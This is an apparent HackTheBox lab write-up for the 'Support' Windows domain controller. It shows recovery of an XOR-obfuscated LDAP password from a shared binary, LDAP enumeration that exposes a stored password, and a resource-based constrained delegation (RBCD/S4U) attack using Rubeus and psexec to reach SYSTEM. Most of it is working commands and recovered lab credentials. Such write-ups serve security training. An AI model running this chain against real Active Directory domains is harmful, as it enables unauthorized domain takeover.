HackTheBox · Lab
Support
notes
NMAP
```shell
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-27 10:36:54Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-07-27T10:36:57
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
```
SMB & LDAP reveng
Anon Auth Success but no enum
Guest Auth Success with Shares enum
```shell
support-tools READ support staff tools
```
With spidering the share we see an interesting file
```shell
//10.10.11.174/support-tools/UserInfo.exe.zip
```
Let’s examine this executable further
We can see functions like `FindUser` , `GetUser` & `LdapQuery`
```shell
{
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
entry.AuthenticationType = AuthenticationTypes.Secure;
ds = new DirectorySearcher(entry);
}
```
This code indicates that the binary is used to conenct to a remote LDAP server and attempt to fetch user information. We should add support.htb to our hosts file.
The password to auth with LDAP server is fetched from `Protected.getPassword()`
```shell
{
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (byte)(array[i] ^ key[i % key.Length] ^ 0xDF);
}
return Encoding.Default.GetString(array2);
}
}
```
- The `enc_password` string is Base64 decoded and placed into a byte array.
- A second byte array called `array2` is created with the same value as `array`
- A loop is initialised which loops through each charcater in `array` and XORs it with one letter of the key and then with the byte `0xDF` (223)
- Finally the decrypted key is returned.
Maybe we can script a decryption process in python
```python
import base64
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
def get_password():
encrypted_bytes = base64.b64decode(enc_password)
decrypted_bytes = bytearray()
for i in range(len(encrypted_bytes)):
decrypted_byte = encrypted_bytes[i] ^ key[i % len(key)] ^ 0xDF
decrypted_bytes.append(decrypted_byte)
return decrypted_bytes.decode('latin1')
print(get_password())
```
We can also use cyberchef for this
- From Base64
- XOR `armando` UTF8 / latin1
- XOR 223 Decimal
```python
❯ py dec.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```
Now we have the decrypted password and we can connect to LDAP
We can also try enumerate the `UserInfo.exe` in windows.
```shell
PS C:\Users\Administrator\Desktop\UserInfo.exe> .\UserInfo.exe -v find -first "*"
[*] LDAP query to use: (givenName=*)
[+] Found 15 results:
raven.clifton
anderson.damian
monroe.david
cromwell.gerard
west.laura
levine.leopoldo
langley.lucy
daughtler.mabel
bardot.mary
stoll.rachelle
thomas.raphael
smith.rosario
wilson.shelby
hernandez.stanley
ford.victoria
```
We can also use NXC with our new key
```shell
❯ nxc smb $IP -u 'ldap' -p $KEY --users | awk '{print$ 5}' | fgrep -v '[*]'
Administrator
Guest
krbtgt
ldap
support
smith.rosario
hernandez.stanley
wilson.shelby
anderson.damian
thomas.raphael
levine.leopoldo
raven.clifton
bardot.mary
cromwell.gerard
monroe.david
west.laura
langley.lucy
daughtler.mabel
stoll.rachelle
ford.victoria
```
Let’s enumerate LDAP with ldapsearch
```shell
ldapsearch -x -H ldap://$IP -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" > ldap.out
❯ cat ldap.out|grep 'info:'
info: Ironside47pleasure40Watchful
```
Looks like we came across a password for the user `support`
```shell
❯ nxc winrm $IP -u $USER -p $PASS
[+] support.htb\support:Ironside47pleasure40Watchful
(Pwn3d!)
```
Bloodhound
We have `GenericAll` on `DC.SUPPORT.HTB`
Lets do a RBCD/S4U attack
We add host
```shell
New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
```
Config the RBCD
```shell
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$
```
Execute the S4U
```shell
.\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb
```
Generate our kerberos ticket for `Administrator`
```shell
.\rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
```
Convert and fix the ticket
Grab a shell
```shell
❯ KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass
C:\Windows\system32> whoami
nt authority\system
```
Scope
- 10.10.11.174
OS
Windows Server 2022 Build 20348 x64
FQDN / DOMAIN
DC.support.htb
Users
Administrator
Guest
krbtgt
ldap
support
smith.rosario
hernandez.stanley
wilson.shelby
anderson.damian
thomas.raphael
levine.leopoldo
raven.clifton
bardot.mary
cromwell.gerard
monroe.david
west.laura
langley.lucy
daughtler.mabel
stoll.rachelle
ford.victoria
Credentials
support:Ironside47pleasure40Watchful
NMAP
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49674/tcp open unknown
49686/tcp open unknown
49691/tcp open unknown
49713/tcp open unknown
SMB Shares
Web Services Enumeration
Web Technology
[+] Nikto
[+] Wfuzz
Other Notes
Privilege Escalation
Takeaway Concepts
Logs
support_smb_spidering_2025-07-27_12-50-55.log